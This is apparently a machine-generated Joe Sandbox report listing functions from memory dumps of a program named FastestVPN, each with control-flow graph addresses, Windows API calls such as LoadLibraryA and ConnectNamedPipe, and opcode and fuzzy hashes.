                                                                                                                      control_flow_graph 1308 b6e01ec-b6e0257 1310 b6e0259-b6e0263 1308->1310 1311 b6e0290-b6e02dc LoadLibraryA 1308->1311 1310->1311 1312 b6e0265-b6e0267 1310->1312 1316 b6e02de-b6e02e4 1311->1316 1317 b6e02e5-b6e031d 1311->1317 1313 b6e028a-b6e028d 1312->1313 1314 b6e0269-b6e0273 1312->1314 1313->1311 1318 b6e0277-b6e0286 1314->1318 1319 b6e0275 1314->1319 1316->1317 1324 b6e031f-b6e0323 1317->1324 1325 b6e032d 1317->1325 1318->1318 1320 b6e0288 1318->1320 1319->1318 1320->1313 1324->1325 1326 b6e0325 1324->1326 1327 b6e032e 1325->1327 1326->1325 1327->1327
                                                                                                                      APIs
                                                                                                                      • LoadLibraryA.KERNELBASE(?), ref: 0B6E02CC
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761463233.000000000B6E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B6E0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b6e0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: LibraryLoad
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1029625771-0
                                                                                                                      • Opcode ID: 5a5dba27010588845f91e321f3d52ea4a2b31c9ac32f240be50b96d4d3569060
                                                                                                                      • Instruction ID: 8a24acec1dd880ecb2e95341919d242ad3ff5f23043c53cdc47874a3e85c3cd6
                                                                                                                      • Opcode Fuzzy Hash: 5a5dba27010588845f91e321f3d52ea4a2b31c9ac32f240be50b96d4d3569060
                                                                                                                      • Instruction Fuzzy Hash: CF416BB0D01259CFDB10CFA9C88579EBBF2BF48710F148529D824AB390D7B45846CFA5
                                                                                                                      Function 0B6E01F8 Relevance: 1.6, APIs: 1, Instructions: 91libraryCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 1328 b6e01f8-b6e0257 1330 b6e0259-b6e0263 1328->1330 1331 b6e0290-b6e02dc LoadLibraryA 1328->1331 1330->1331 1332 b6e0265-b6e0267 1330->1332 1336 b6e02de-b6e02e4 1331->1336 1337 b6e02e5-b6e031d 1331->1337 1333 b6e028a-b6e028d 1332->1333 1334 b6e0269-b6e0273 1332->1334 1333->1331 1338 b6e0277-b6e0286 1334->1338 1339 b6e0275 1334->1339 1336->1337 1344 b6e031f-b6e0323 1337->1344 1345 b6e032d 1337->1345 1338->1338 1340 b6e0288 1338->1340 1339->1338 1340->1333 1344->1345 1346 b6e0325 1344->1346 1347 b6e032e 1345->1347 1346->1345 1347->1347
                                                                                                                      APIs
                                                                                                                      • LoadLibraryA.KERNELBASE(?), ref: 0B6E02CC
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761463233.000000000B6E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B6E0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b6e0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: LibraryLoad
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1029625771-0
                                                                                                                      • Opcode ID: 75f7b4b121729838f3c9eee8cf85012629f60326a8c3456a85e4693fe5035dc9
                                                                                                                      • Instruction ID: 8f9c4ff8d33ac5d86307f69fb900229748bda499c264116c2889e616c1828d3f
                                                                                                                      • Opcode Fuzzy Hash: 75f7b4b121729838f3c9eee8cf85012629f60326a8c3456a85e4693fe5035dc9
                                                                                                                      • Instruction Fuzzy Hash: 1B3148B0D01259CFDB10CFA9C88579EBBF1BF48710F148529D824A7344D7B49845CFA1
                                                                                                                      Function 02412ADE Relevance: 1.6, APIs: 1, Instructions: 75pipeCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 1884 2412ade-2412b86 ConnectNamedPipe 1886 2412b88-2412b8e 1884->1886 1887 2412b8f-2412bd7 1884->1887 1886->1887 1892 2412be7 1887->1892 1893 2412bd9-2412bdd 1887->1893 1896 2412be8 1892->1896 1893->1892 1894 2412bdf-2412be2 call 2411a14 1893->1894 1894->1892 1896->1896
                                                                                                                      APIs
                                                                                                                      • ConnectNamedPipe.KERNEL32(?,?), ref: 02412B76
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2723553143.0000000002410000.00000040.00000800.00020000.00000000.sdmp, Offset: 02410000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_2410000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ConnectNamedPipe
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2191148154-0
                                                                                                                      • Opcode ID: 09bbeeb16eab728054f28eaaa3a932632b0ae22dc2f04955a6bc19b11c59e974
                                                                                                                      • Instruction ID: dd80d7ea0336a0c86ecfead2b275fdced9677c3dffed2e991abe5352f7c4f53c
                                                                                                                      • Opcode Fuzzy Hash: 09bbeeb16eab728054f28eaaa3a932632b0ae22dc2f04955a6bc19b11c59e974
                                                                                                                      • Instruction Fuzzy Hash: 723102B0D012589FDB14CFA9D585BDEBBF1AF08714F14801AE849BB390C7B95845CB60
                                                                                                                      Function 0B518808 Relevance: 1.6, Strings: 1, Instructions: 325COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 1897 b518808-b518815 1898 b518823 1897->1898 1899 b518817-b518821 1897->1899 1900 b518825-b518827 1898->1900 1899->1900 1901 b518840-b518842 1900->1901 1902 b518829-b518833 call b515330 1900->1902 1904 b518850 1901->1904 1905 b518844-b51884e 1901->1905 2023 b518835 call b518808 1902->2023 2024 b518835 call b5187f8 1902->2024 1907 b518852-b518854 1904->1907 1905->1907 1908 b518856-b51886f call b515dc0 1907->1908 1909 b518888-b51888a 1907->1909 1923 b518871-b518878 1908->1923 1924 b518880-b518883 1908->1924 1911 b518898 1909->1911 1912 b51888c-b518896 1909->1912 1910 b51883b 1915 b518be5-b518bea 1910->1915 1916 b51889a-b51889c 1911->1916 1912->1916 1917 b5188b3-b5188b5 1916->1917 1918 b51889e-b5188ae call b516170 call b5161e0 1916->1918 1920 b5188c3 1917->1920 1921 b5188b7-b5188c1 1917->1921 1918->1915 1925 b5188c5-b5188c7 1920->1925 1921->1925 1923->1924 1924->1915 1927 b518b9b-b518b9d 1925->1927 1928 b5188cd-b5188ef 1925->1928 1932 b518bab 1927->1932 1933 b518b9f-b518ba9 1927->1933 1939 b5188f1-b5188f3 1928->1939 1940 b5188f8-b51890b 1928->1940 1935 b518bad-b518baf 1932->1935 1933->1935 1936 b518bb1-b518bbd 1935->1936 1937 b518beb-b518c2d 1935->1937 1943 b518bd4-b518bde 1936->1943 1944 b518bbf-b518bd2 1936->1944 1939->1915 1949 b51892a 1940->1949 1950 b51890d-b518928 1940->1950 1943->1915 1944->1915 1952 b51892c-b51892e 1949->1952 1950->1952 1954 b518930-b518947 1952->1954 1955 b51894a-b518959 1952->1955 1954->1955 1961 b51895b-b518966 1955->1961 1962 b51896e-b51897f 1955->1962 1961->1962 1965 b518b30 1962->1965 1966 b518985 1962->1966 1981 b518b33-b518b46 1965->1981 1966->1965 1967 b518b1c-b518b24 1966->1967 1968 b518aff-b518b1a 1966->1968 1969 b518ae3-b518afd 1966->1969 1970 b518a67-b518a84 1966->1970 1971 b518ac7-b518ae1 1966->1971 1972 b5189e9-b518a04 1966->1972 1973 b518a09-b518a24 1966->1973 1974 b518a29-b518a43 1966->1974 1975 b518a89-b518aa6 1966->1975 1976 b518a48-b518a62 1966->1976 1977 b5189ab-b5189c5 1966->1977 1978 b518aab-b518ac5 1966->1978 1979 b5189ca-b5189e4 1966->1979 1980 b51898c-b5189a6 1966->1980 2021 b518b26 call b518ca1 1967->2021 2022 b518b26 call b518cb0 1967->2022 1968->1981 1969->1981 1970->1981 1971->1981 1972->1981 1973->1981 1974->1981 1975->1981 1976->1981 1977->1981 1978->1981 1979->1981 1980->1981 1997 b518b65 1981->1997 1998 b518b48-b518b63 1981->1998 1991 b518b2c-b518b2e 1991->1981 2010 b518b67-b518b69 1997->2010 1998->2010 2014 b518b97-b518b99 2010->2014 2015 b518b6b-b518b7a 2010->2015 2014->1915 2017 b518b8b-b518b95 2015->2017 2018 b518b7c-b518b83 2015->2018 2017->2014 2018->2017 2021->1991 2022->1991 2023->1910 2024->1910
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: &
                                                                                                                      • API String ID: 0-1010288
                                                                                                                      • Opcode ID: 20a89ab5c683cf4891ce1a3551cfe14ac8f499c605fd066a7520172468009147
                                                                                                                      • Instruction ID: b55c530ad091abfd8283a75a3849e97aa9028f5122368ae85a77ebef0f9231bd
                                                                                                                      • Opcode Fuzzy Hash: 20a89ab5c683cf4891ce1a3551cfe14ac8f499c605fd066a7520172468009147
                                                                                                                      • Instruction Fuzzy Hash: B3B19C75A042019FFB28AF259590A3A77E3BFC86403548DE9D9178B385DF34ED42CB91
                                                                                                                      Function 059D2D08 Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • CreateWindowExW.USER32(?,00000000,00000000,?,?,00000000,?,?,?,?,?,?), ref: 059D2DB6
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2747632433.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_59d0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CreateWindow
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 716092398-0
                                                                                                                      • Opcode ID: afbc2f8ed3cdc516ffa26aed8e75cb6c79313a61e8af7d36daf7e78d637424d0
                                                                                                                      • Instruction ID: 5b42ccfb19a3da4619052d706bd3e97ed9aa39fb272c0d2379f24ef044a158d8
                                                                                                                      • Opcode Fuzzy Hash: afbc2f8ed3cdc516ffa26aed8e75cb6c79313a61e8af7d36daf7e78d637424d0
                                                                                                                      • Instruction Fuzzy Hash: 4D310576900619AFCF11CF99D884ADEFBB5FF4C714F11821AE918A7250C335A955CFA0
                                                                                                                      Function 02411FD8 Relevance: 1.6, APIs: 1, Instructions: 73pipeCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • ConnectNamedPipe.KERNEL32(?,?), ref: 02412B76
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2723553143.0000000002410000.00000040.00000800.00020000.00000000.sdmp, Offset: 02410000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_2410000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ConnectNamedPipe
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2191148154-0
                                                                                                                      • Opcode ID: 7d6567d6688d9d62093799484dc367ab16ba686de716c16263cce7d7c83c1cad
                                                                                                                      • Instruction ID: 7409cf2460cb0a325d9135c5a3fe3ef4a70e55747a0571061cd0f01b89d039f7
                                                                                                                      • Opcode Fuzzy Hash: 7d6567d6688d9d62093799484dc367ab16ba686de716c16263cce7d7c83c1cad
                                                                                                                      • Instruction Fuzzy Hash: 9831E270D01218DFDB24DFA9C988B9EBBF1BF08714F14801AE809BB390D7B59845CB64
                                                                                                                      Function 059D2D10 Relevance: 1.6, APIs: 1, Instructions: 73COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • CreateWindowExW.USER32(?,00000000,00000000,?,?,00000000,?,?,?,?,?,?), ref: 059D2DB6
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2747632433.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_59d0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: CreateWindow
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 716092398-0
                                                                                                                      • Opcode ID: 5b28ff924c9c7abe300d7d51e093d9f97b4aa09ef4269d16bf1e6e90590ec9da
                                                                                                                      • Instruction ID: 2a61e22ebf3856325b32f132da2694ac1b3f616367dca2535e9e991335025e74
                                                                                                                      • Opcode Fuzzy Hash: 5b28ff924c9c7abe300d7d51e093d9f97b4aa09ef4269d16bf1e6e90590ec9da
                                                                                                                      • Instruction Fuzzy Hash: 7A310576800219AFCF11CF9AC844ADEFBB4FF4C714F018219E918A7250C375A954CFA0
                                                                                                                      Function 0B4859C9 Relevance: 1.5, Strings: 1, Instructions: 287COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: d
                                                                                                                      • API String ID: 0-2564639436
                                                                                                                      • Opcode ID: 7c4a9fe8ac6c81253b831bb6663b14d64862e0d4d35ed3ef02b91a7db05cbe0b
                                                                                                                      • Instruction ID: bd5607411e52aa84530295dcf181cd0e7cac06a0f003e44ede8a44ec889dc5f5
                                                                                                                      • Opcode Fuzzy Hash: 7c4a9fe8ac6c81253b831bb6663b14d64862e0d4d35ed3ef02b91a7db05cbe0b
                                                                                                                      • Instruction Fuzzy Hash: 31C158346006068FCB24DF19C58096AB7F2FF99310725CAAAD55A8B765D730FD46CF90
                                                                                                                      Function 0B4B8428 Relevance: 1.4, Strings: 1, Instructions: 149COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: @
                                                                                                                      • API String ID: 0-2766056989
                                                                                                                      • Opcode ID: d0b1304b079f366739d41c6f6c7ef6e593a28edf1a315fb7ea5476826da747b3
                                                                                                                      • Instruction ID: a5f9cbe8d9c75e28eaceacf72ec64bd3f483c9faf23d95e36dc10d08d7caf3e9
                                                                                                                      • Opcode Fuzzy Hash: d0b1304b079f366739d41c6f6c7ef6e593a28edf1a315fb7ea5476826da747b3
                                                                                                                      • Instruction Fuzzy Hash: C4514D75A002199FDB15CF68C884EEEBBF5FF88310B14806AE915EB351E734DA45CBA0
                                                                                                                      Function 0B48A0B7 Relevance: 1.4, Strings: 1, Instructions: 132COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 0-65463447
                                                                                                                      • Opcode ID: 8dd5942e1a9b9e78d7e98c3f806e9c832a71c1340b7823acab75a8748d9d8c02
                                                                                                                      • Instruction ID: ba6791e22cb287b145aa35815f51d7015e279c143dedcadd040053dd34efec56
                                                                                                                      • Opcode Fuzzy Hash: 8dd5942e1a9b9e78d7e98c3f806e9c832a71c1340b7823acab75a8748d9d8c02
                                                                                                                      • Instruction Fuzzy Hash: 7D519E70A002059FCB15EFA8D890AAEBBF2FF88710B14855EE416AB364DF75D905CB41
                                                                                                                      Function 0B48A0FF Relevance: 1.4, Strings: 1, Instructions: 129COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 0-65463447
                                                                                                                      • Opcode ID: 787bba0d26024a9121fb4a47ba8fa38878a9fdbf15461e64463335e3783bce83
                                                                                                                      • Instruction ID: 87318f5e721c39431877469936c2aa6491c376da9cdf0d59d5132202dd839914
                                                                                                                      • Opcode Fuzzy Hash: 787bba0d26024a9121fb4a47ba8fa38878a9fdbf15461e64463335e3783bce83
                                                                                                                      • Instruction Fuzzy Hash: B9415E70A002059FCB15EFA8D890AAEBBE2FF84710F14842AE806AB354DF75DD05CB50
                                                                                                                      Function 0B51D0E0 Relevance: 1.4, Strings: 1, Instructions: 127COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: (iZ
                                                                                                                      • API String ID: 0-2739270818
                                                                                                                      • Opcode ID: 65b3e089a6ecb03ddf8c582328f095c567d3f1a6ec1af040b3d1c958ab15014a
                                                                                                                      • Instruction ID: 835d0f10fff560131b3bcf1abe2f0b3522ebbba5a7a604463c7938a1b35c4243
                                                                                                                      • Opcode Fuzzy Hash: 65b3e089a6ecb03ddf8c582328f095c567d3f1a6ec1af040b3d1c958ab15014a
                                                                                                                      • Instruction Fuzzy Hash: B8516131D10B5A9ADF11DFB4C8506EDF7B2FF99300F118A59D45877251EB70A689CB80
                                                                                                                      Function 0B48886C Relevance: 1.4, Strings: 1, Instructions: 119COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: ^5t
                                                                                                                      • API String ID: 0-1343020086
                                                                                                                      • Opcode ID: 37815ace59df9b16cc38a32e7327ec0707b87443c1bc5faa23530e6482188557
                                                                                                                      • Instruction ID: 993567bb381d1e1bf6369c1a413f446f80a67d8c12d794852a5152125d5e3092
                                                                                                                      • Opcode Fuzzy Hash: 37815ace59df9b16cc38a32e7327ec0707b87443c1bc5faa23530e6482188557
                                                                                                                      • Instruction Fuzzy Hash: F5411835B00214CFCB15EBA4D954AAEB7F7EFC9611B644469D806AB390DF35ED42CB80
                                                                                                                      Function 0B51D0F0 Relevance: 1.4, Strings: 1, Instructions: 118COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: (iZ
                                                                                                                      • API String ID: 0-2739270818
                                                                                                                      • Opcode ID: fc8b31a51110dac7ad10a0fb7973eef9f33ec732a2773b7ae1ab07928b969e65
                                                                                                                      • Instruction ID: a6e4861090da8b1d46cccbdfaa0a7a65b93f42271ddc75b9a6003509140761e0
                                                                                                                      • Opcode Fuzzy Hash: fc8b31a51110dac7ad10a0fb7973eef9f33ec732a2773b7ae1ab07928b969e65
                                                                                                                      • Instruction Fuzzy Hash: 25515C71D10B1ADADF11EFA8C8406DDF7B2FF99300F118A59D45877251EB70AA89CB90
                                                                                                                      Function 0B4B8418 Relevance: 1.3, Strings: 1, Instructions: 78COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: @
                                                                                                                      • API String ID: 0-2766056989
                                                                                                                      • Opcode ID: 59511c57954843e51f51cf164c6c3c9048371fefe48799890205f445a83a4cd9
                                                                                                                      • Instruction ID: 6e1fbcc36cddb2aa00e432163d157cc7923ea324fc4aaf64e64d5837ef930136
                                                                                                                      • Opcode Fuzzy Hash: 59511c57954843e51f51cf164c6c3c9048371fefe48799890205f445a83a4cd9
                                                                                                                      • Instruction Fuzzy Hash: AB215E71900259DFCB15CFA8C884DEEBBF9FF89310B04846AE515DB251D734DA45CBA0
                                                                                                                      Function 0B48E243 Relevance: 1.3, Strings: 1, Instructions: 65COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: g^
                                                                                                                      • API String ID: 0-1983159667
                                                                                                                      • Opcode ID: ac7f3af27c05d6b82745d0f41bbb764e8f0bfb708edc89a328e6d02640b67fc7
                                                                                                                      • Instruction ID: 5d36507dd89f4885859b0182dd4372bd6a189254a3cdda50be6699128cacf34a
                                                                                                                      • Opcode Fuzzy Hash: ac7f3af27c05d6b82745d0f41bbb764e8f0bfb708edc89a328e6d02640b67fc7
                                                                                                                      • Instruction Fuzzy Hash: 2C11E131B04344AFD715CFA8D890EAE7FA6FF89710B04449EE005DF292DB70A8018BA1
                                                                                                                      Function 0B51B15A Relevance: 1.3, Strings: 1, Instructions: 54COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: jZ
                                                                                                                      • API String ID: 0-3466466112
                                                                                                                      • Opcode ID: 8a42ae703356ee40549415b80272f6eda9257b23de1cd97278272b11d5244161
                                                                                                                      • Instruction ID: d34f50aed42b03e427f366016fd539c86df99de8b9f0057452661ad90c9e4eaa
                                                                                                                      • Opcode Fuzzy Hash: 8a42ae703356ee40549415b80272f6eda9257b23de1cd97278272b11d5244161
                                                                                                                      • Instruction Fuzzy Hash: E2114C76B001298FCB09DF94E8419DDBBF2FB8C314B0141AAE40A9B255DB359E0ADB84
                                                                                                                      Function 0B51C528 Relevance: 1.3, Strings: 1, Instructions: 51COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: |dZ
                                                                                                                      • API String ID: 0-4025679620
                                                                                                                      • Opcode ID: b4e30dd8b09fc28a13097dd8096fe60c3eab0d951e1e52e29c04eb61fabf98cf
                                                                                                                      • Instruction ID: 35a0dc4541516fb07f5f55c53c22e0a4e2d6c17f2a1ea0d807ded6692f65170f
                                                                                                                      • Opcode Fuzzy Hash: b4e30dd8b09fc28a13097dd8096fe60c3eab0d951e1e52e29c04eb61fabf98cf
                                                                                                                      • Instruction Fuzzy Hash: 4811C230A002199FEB00DBA9D844BEEBBF5FB88319F044465C400BB294EB35DD09DBA5
                                                                                                                      Function 0B51B1D4 Relevance: 1.3, Strings: 1, Instructions: 39COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: jZ
                                                                                                                      • API String ID: 0-3466466112
                                                                                                                      • Opcode ID: 68e0e91c2e1c0b39cdd14a7a2a89ebb94471b39c636f631e9981c5065bfff4f7
                                                                                                                      • Instruction ID: f870cb2af127519229ce70703b33bf1cc0aa899428241f85d68c0bdb4db18f93
                                                                                                                      • Opcode Fuzzy Hash: 68e0e91c2e1c0b39cdd14a7a2a89ebb94471b39c636f631e9981c5065bfff4f7
                                                                                                                      • Instruction Fuzzy Hash: BF018F35B00125CFDB01DF94D941AAD7BF2FB8C314F054596D4099B269C7359E4ADB80
                                                                                                                      Function 0B51B625 Relevance: 1.3, Strings: 1, Instructions: 28COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: oZU
                                                                                                                      • API String ID: 0-3267682014
                                                                                                                      • Opcode ID: c3477d724393a4dd8944de86c7bbfa66baf91dd83a4fb0a9d6cf00940169e8ca
                                                                                                                      • Instruction ID: 33bb04e2571231c810a6f092bfc6777c86a648d02097dfcea6de5165c1f7a772
                                                                                                                      • Opcode Fuzzy Hash: c3477d724393a4dd8944de86c7bbfa66baf91dd83a4fb0a9d6cf00940169e8ca
                                                                                                                      • Instruction Fuzzy Hash: E6E02274F042985FDF40DB7484613AA7FF3AB4A600F0489E9C888DB24BE2304A5B8782
                                                                                                                      Function 0B4848B4 Relevance: .5, Instructions: 497COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: d66194f11fcd598b9ac2666c9148d78aa8598aa68065fe4a47575e940d622b4d
                                                                                                                      • Instruction ID: bb5b378ccb5cab2fd5039ec1fefbbf3ffc48dd1bc9ec29714a52ee1844185cb1
                                                                                                                      • Opcode Fuzzy Hash: d66194f11fcd598b9ac2666c9148d78aa8598aa68065fe4a47575e940d622b4d
                                                                                                                      • Instruction Fuzzy Hash: 091226347006468FDB14EF29C484A6EBBF2FF89701B1584AAE906DB366DB34ED45CB50
                                                                                                                      Function 0BC46A88 Relevance: .5, Instructions: 461COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2764630812.000000000BC40000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BC40000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_bc40000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 3fba6023a14f0d4d7db2ae7abea1fab82e52550729b805e3d71f60f1cac35bbd
                                                                                                                      • Instruction ID: 69a32ab21948343bc24f02ed09a5cf01a06d1654fb9c3f91c97a21bf9d4099c4
                                                                                                                      • Opcode Fuzzy Hash: 3fba6023a14f0d4d7db2ae7abea1fab82e52550729b805e3d71f60f1cac35bbd
                                                                                                                      • Instruction Fuzzy Hash: 4302AF70B117058FDB14DB69C844A6ABBF2BF8A304F18C5AAD40ADB355DB31DE46CB90
